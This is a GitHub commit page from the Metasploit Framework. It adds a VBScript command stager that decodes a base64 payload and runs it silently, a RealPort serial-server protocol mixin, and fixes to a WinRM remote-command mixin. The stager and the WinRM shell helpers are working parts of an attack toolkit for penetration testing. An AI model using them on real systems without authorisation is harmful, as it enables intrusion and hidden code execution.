Skip to content

Commit 3ad00f7

Browse files
committed
Merge branch 'master' into bug/read-module-content-errno-enoent
2 parents 16407f9 + b973927 commit 3ad00f7

File tree

17 files changed

+1579
-22
lines changed

17 files changed

+1579
-22
lines changed

data/exploits/cmdstager/vbs_b64_sleep

Lines changed: 41 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,41 @@
1+
echo Set fs = CreateObject("Scripting.FileSystemObject") >>decode_stub
2+
echo Set file = fs.GetFile("ENCODED") >>decode_stub
3+
echo If file.Size Then >>decode_stub
4+
echo Set fd = fs.OpenTextFile("ENCODED", 1) >>decode_stub
5+
echo data = fd.ReadAll >>decode_stub
6+
echo data = Replace(data, vbCrLf, "") >>decode_stub
7+
echo data = base64_decode(data) >>decode_stub
8+
echo fd.Close >>decode_stub
9+
echo Set ofs = CreateObject("Scripting.FileSystemObject").OpenTextFile("DECODED", 2, True) >>decode_stub
10+
echo ofs.Write data >>decode_stub
11+
echo ofs.close >>decode_stub
12+
echo Set shell = CreateObject("Wscript.Shell") >>decode_stub
13+
echo shell.run "DECODED", 0, false >>decode_stub
14+
echo Wscript.sleep(1000 * 60 * 5) >>decode_stub
15+
echo Else >>decode_stub
16+
echo Wscript.Echo "The file is empty." >>decode_stub
17+
echo End If >>decode_stub
18+
echo Function base64_decode(byVal strIn) >>decode_stub
19+
echo Dim w1, w2, w3, w4, n, strOut >>decode_stub
20+
echo For n = 1 To Len(strIn) Step 4 >>decode_stub
21+
echo w1 = mimedecode(Mid(strIn, n, 1)) >>decode_stub
22+
echo w2 = mimedecode(Mid(strIn, n + 1, 1)) >>decode_stub
23+
echo w3 = mimedecode(Mid(strIn, n + 2, 1)) >>decode_stub
24+
echo w4 = mimedecode(Mid(strIn, n + 3, 1)) >>decode_stub
25+
echo If Not w2 Then _ >>decode_stub
26+
echo strOut = strOut + Chr(((w1 * 4 + Int(w2 / 16)) And 255)) >>decode_stub
27+
echo If Not w3 Then _ >>decode_stub
28+
echo strOut = strOut + Chr(((w2 * 16 + Int(w3 / 4)) And 255)) >>decode_stub
29+
echo If Not w4 Then _ >>decode_stub
30+
echo strOut = strOut + Chr(((w3 * 64 + w4) And 255)) >>decode_stub
31+
echo Next >>decode_stub
32+
echo base64_decode = strOut >>decode_stub
33+
echo End Function >>decode_stub
34+
echo Function mimedecode(byVal strIn) >>decode_stub
35+
echo Base64Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" >>decode_stub
36+
echo If Len(strIn) = 0 Then >>decode_stub
37+
echo mimedecode = -1 : Exit Function >>decode_stub
38+
echo Else >>decode_stub
39+
echo mimedecode = InStr(Base64Chars, strIn) - 1 >>decode_stub
40+
echo End If >>decode_stub
41+
echo End Function >>decode_stub

lib/msf/core/exploit/mixins.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -59,7 +59,7 @@
5959
require 'msf/core/exploit/wdbrpc'
6060
require 'msf/core/exploit/wdbrpc_client'
6161
require 'msf/core/exploit/afp'
62-
62+
require 'msf/core/exploit/realport'
6363

6464
# Telephony
6565
require 'msf/core/exploit/dialup'

lib/msf/core/exploit/realport.rb

Lines changed: 236 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,236 @@
1+
# -*- coding: binary -*-
2+
3+
require 'msf/core'
4+
require 'msf/core/exploit/tcp'
5+
6+
module Msf
7+
8+
###
9+
#
10+
# This module provides methods for working with the RealPort protocol
11+
#
12+
###
13+
module Exploit::Remote::RealPort
14+
include Msf::Exploit::Remote::Tcp
15+
16+
#
17+
# Initializes an instance of an auxiliary module that uses RealPort
18+
#
19+
20+
def initialize(info = {})
21+
super
22+
register_options( [
23+
Opt::RPORT(771)
24+
], Msf::Exploit::Remote::RealPort )
25+
end
26+
27+
@@REALPORT_BAUD_MAP = {
28+
'2400' => "\x03\x00",
29+
'9600' => "\x00\xc0",
30+
'19200' => "\x00\x60",
31+
'38400' => "\x00\x20",
32+
'57600' => "\x00\x30",
33+
'76800' => "\x00\x10",
34+
'115200' => "\x00\x10", # Yup, same as above
35+
'230400' => "\x00\x08",
36+
'460800' => "\x00\x04",
37+
'921600' => "\x00\x02",
38+
}
39+
40+
# Connect to the RealPort service and send the initial handshake
41+
# This has the benefit of retrieving the port count and product
42+
# Returns true if it succeeds and nil otherwise
43+
def realport_connect
44+
connect
45+
sock.put("\xfb\x01\xfb\x02\xfb\x18")
46+
res = sock.get_once(12, 5)
47+
return unless (res and res.length == 12)
48+
49+
unless res[0,2] == "\xfc\x01"
50+
vprint_error("#{rhost}:#{rport} Bad reply: #{res.inspect}")
51+
return
52+
end
53+
54+
len = res[2,2].unpack("n").first
55+
return unless len > 0
56+
57+
res = sock.get_once(len, 5)
58+
unless res.length == len
59+
vprint_error("#{rhost}:#{rport} Bad length: #{res.length} wanted #{len}")
60+
return
61+
end
62+
63+
name,info = res.split("\xfc\x02", 2)
64+
fields = info.unpack("n*")
65+
66+
@realport_port_count = fields[1].to_i
67+
@realport_name = name.gsub(/[\r\n]/, '')
68+
69+
# The server also sends us an additional four-byte packet we can ignore here
70+
# This throws away a \xFC\x18\x00\x04 sequence
71+
sock.get_once(-1, 5)
72+
73+
return true
74+
end
75+
76+
def realport_disconnect
77+
disconnect
78+
end
79+
80+
def realport_baud_to_speed(baud)
81+
@@REALPORT_BAUD_MAP[baud]
82+
end
83+
84+
def realport_recv_banner(port=0, timeout=30, max_data=4096)
85+
#
86+
# Data is received here, header is:
87+
# a2 00 01 82 XX
88+
# ^ [ counter ] [ length ] [ data ]
89+
#
90+
91+
# Can also see f0 here (keep alive)
92+
93+
banner = ""
94+
stime = Time.now.to_f
95+
dcnt = 0
96+
pcnt = 0
97+
98+
while banner.length < max_data and (Time.now.to_f - stime) < timeout
99+
100+
res = sock.get_once(1, 1)
101+
unless res
102+
if banner.length == 0 or pcnt < 3
103+
# Send a new line to wake up the remote end
104+
realport_send(port, "\r")
105+
pcnt += 1
106+
next
107+
else
108+
# Allow three empty reads *after* we have sent at least one probe and have data
109+
dcnt += 1
110+
break if dcnt > 3
111+
next
112+
end
113+
end
114+
bit = res.unpack("C").first
115+
case bit
116+
when (0xA0 + port)
117+
# Read the packet sequence number (two bytes)
118+
res = sock.get_once(2, 1)
119+
when 0xF0
120+
# Skip this keep-alive response
121+
when (0x80 + port)
122+
# Read the one-byte length value
123+
res = sock.get_once(1, 1)
124+
if res
125+
len = res.unpack("C").first
126+
res = sock.get_once(len, 1)
127+
if res
128+
banner << res
129+
end
130+
end
131+
end
132+
end
133+
banner
134+
end
135+
136+
def realport_send(port=0, data)
137+
sock.put( [port].pack("C") + data )
138+
end
139+
140+
def realport_close(port=0)
141+
cprt = [ 0xb0 + port ].pack("C")
142+
pkt = cprt + "\x28\x00\xc0\x00\xb0\x00\x01\x00\x00\x00\x00" + cprt + "\x0a\x03"
143+
144+
# Response
145+
# b2 0b 03 00 00 02
146+
147+
# Send a close request
148+
sock.put(pkt)
149+
res = sock.get_once(-1, 5)
150+
151+
vprint_status("#{target_host}:#{rport} Port:#{port} Close:#{ res.inspect }")
152+
return
153+
end
154+
155+
def realport_open(port=0, baud='9600')
156+
157+
@realport_banner = ''
158+
159+
cprt = [ 0xb0 + port ].pack("C")
160+
aprt = [ 0xa0 + port ].pack("C")
161+
162+
speed = realport_baud_to_speed(baud)
163+
164+
# Open port
165+
pkt1 = "\xf0" + cprt + "\x0a"+ "\x00"
166+
167+
# Response
168+
# b2 0b 00 00 00 02
169+
# ^ ^ <- port number
170+
171+
# Open the port
172+
sock.put(pkt1)
173+
res = sock.get_once(-1, 5)
174+
175+
vprint_status("#{target_host}:#{rport} Port:#{port} Baud:#{baud} Open:#{ res.inspect }")
176+
177+
# Access the port
178+
pkt2 =
179+
cprt + "\x0e" +
180+
cprt + "\x2a\x02\xc0\xf3" +
181+
cprt + "\x10" +
182+
cprt + "\x14" +
183+
cprt + "\x16" +
184+
cprt + "\x2c\x03\x00\x00"
185+
186+
# Response (GOOD)
187+
# b2 0f 00 00 00 00 b2 15 0f ff 0f ff b2 11 00 00
188+
# 13 b2 17 01 02 00 2f 06 a8 00 1c 20 00 00 00 00
189+
# 00 f3 f3 00 00 00 00 00 00 00 00 00 00 00 00 00
190+
# 00
191+
192+
# Response (BAD)
193+
# \xFF \x17 Access to unopened port\x00
194+
195+
# Send negotiate request
196+
sock.put(pkt2)
197+
res = sock.get_once(-1, 5)
198+
if res.to_s =~ /^\xff/
199+
vprint_status("#{target_host}:#{rport} Port:#{port} is closed: #{res.inspect}")
200+
return :closed
201+
end
202+
203+
vprint_status("#{target_host}:#{rport} Port:#{port} Baud:#{baud} Negotiate:#{ res.inspect }")
204+
205+
# Terminal settings
206+
pkt3 =
207+
cprt + "\x30\x03\xff\x00\x64" +
208+
cprt + "\x2d\x03\xff\x0b\xff" +
209+
cprt + "\x28" + speed + "\x04" +
210+
cprt + "\x00\x01\x00\x00\x00\x00" +
211+
cprt + "\x2c\x00\x12\x00" +
212+
cprt + "\x2e\x11\x13\x16\x00\x00" +
213+
cprt + "\x2f\x03\xff\x00\x64" +
214+
cprt + "\x40\x37" + aprt + "\x0f\xff"
215+
216+
# Response
217+
# c2 12 00 00 f0
218+
# ^
219+
220+
# Send terminal settings request
221+
sock.put(pkt3)
222+
res = sock.get_once(-1, 5)
223+
224+
if res.to_s =~ /^\xff/
225+
vprint_status("#{target_host}:#{rport} Port:#{port} is closed: #{res.inspect}")
226+
return :closed
227+
end
228+
229+
vprint_status("#{target_host}:#{rport} Port:#{port} Baud:#{baud} Settings:#{ res.inspect }")
230+
return :open
231+
end
232+
233+
end
234+
235+
236+
end

lib/msf/core/exploit/winrm.rb

Lines changed: 35 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -17,6 +17,7 @@ module Exploit::Remote::WinRM
1717
NTLM_CONST ||= Rex::Proto::NTLM::Constants
1818
NTLM_UTILS ||= Rex::Proto::NTLM::Utils
1919
NTLM_XCEPT ||= Rex::Proto::NTLM::Exceptions
20+
2021
def initialize(info = {})
2122
super
2223
register_options(
@@ -61,13 +62,17 @@ def parse_auth_methods(resp)
6162

6263
def winrm_run_cmd(cmd, timeout=20)
6364
resp,c = send_request_ntlm(winrm_open_shell_msg,timeout)
65+
if resp.nil?
66+
print_error "Recieved no reply from server"
67+
return nil
68+
end
6469
if resp.code == 401
6570
print_error "Login failure! Recheck supplied credentials."
6671
return resp .code
6772
end
6873
unless resp.code == 200
6974
print_error "Got unexpected response: \n #{resp.to_s}"
70-
retval == resp.code || 0
75+
retval = resp.code || 0
7176
return retval
7277
end
7378
shell_id = winrm_get_shell_id(resp)
@@ -80,6 +85,29 @@ def winrm_run_cmd(cmd, timeout=20)
8085
return streams
8186
end
8287

88+
def winrm_run_cmd_hanging(cmd, timeout=20)
89+
resp,c = send_request_ntlm(winrm_open_shell_msg,timeout)
90+
if resp.nil?
91+
print_error "Recieved no reply from server"
92+
return nil
93+
end
94+
if resp.code == 401
95+
print_error "Login failure! Recheck supplied credentials."
96+
return resp .code
97+
end
98+
unless resp.code == 200
99+
print_error "Got unexpected response: \n #{resp.to_s}"
100+
retval = resp.code || 0
101+
return retval
102+
end
103+
shell_id = winrm_get_shell_id(resp)
104+
resp,c = send_request_ntlm(winrm_cmd_msg(cmd, shell_id),timeout)
105+
cmd_id = winrm_get_cmd_id(resp)
106+
resp,c = send_request_ntlm(winrm_cmd_recv_msg(shell_id,cmd_id),timeout)
107+
streams = winrm_get_cmd_streams(resp)
108+
return streams
109+
end
110+
83111
def winrm_wql_msg(wql)
84112
action = winrm_uri_action("wql")
85113
contents = winrm_header(action) + winrm_wql_body(wql)
@@ -134,6 +162,7 @@ def winrm_delete_shell_msg(shell_id)
134162
end
135163

136164
def parse_wql_response(response)
165+
return nil if response.nil?
137166
xml = response.body
138167
columns = []
139168
rows =[]
@@ -160,16 +189,19 @@ def parse_wql_response(response)
160189
end
161190

162191
def winrm_get_shell_id(response)
192+
return nil if response.nil?
163193
xml = response.body
164194
shell_id = REXML::Document.new(xml).elements["//w:Selector"].text
165195
end
166196

167197
def winrm_get_cmd_id(response)
198+
return nil if response.nil?
168199
xml = response.body
169200
cmd_id = REXML::Document.new(xml).elements["//rsp:CommandId"].text
170201
end
171202

172203
def winrm_get_cmd_streams(response)
204+
return nil if response.nil?
173205
streams = {
174206
'stdout' => '',
175207
'stderr' => '',
@@ -178,7 +210,7 @@ def winrm_get_cmd_streams(response)
178210
rxml = REXML::Document.new(xml).root
179211
rxml.elements.to_a("//rsp:Stream").each do |node|
180212
next if node.text.nil?
181-
streams[node.attributes['Name']] << Rex::Text.base64_decode(node.text)
213+
streams[node.attributes['Name']] << Rex::Text.decode_base64(node.text)
182214
end
183215
return streams
184216
end
@@ -291,6 +323,7 @@ def target_url
291323
end
292324
end
293325

326+
294327
private
295328

296329
def winrm_option_set(options)

0 commit comments

Comments
 (0)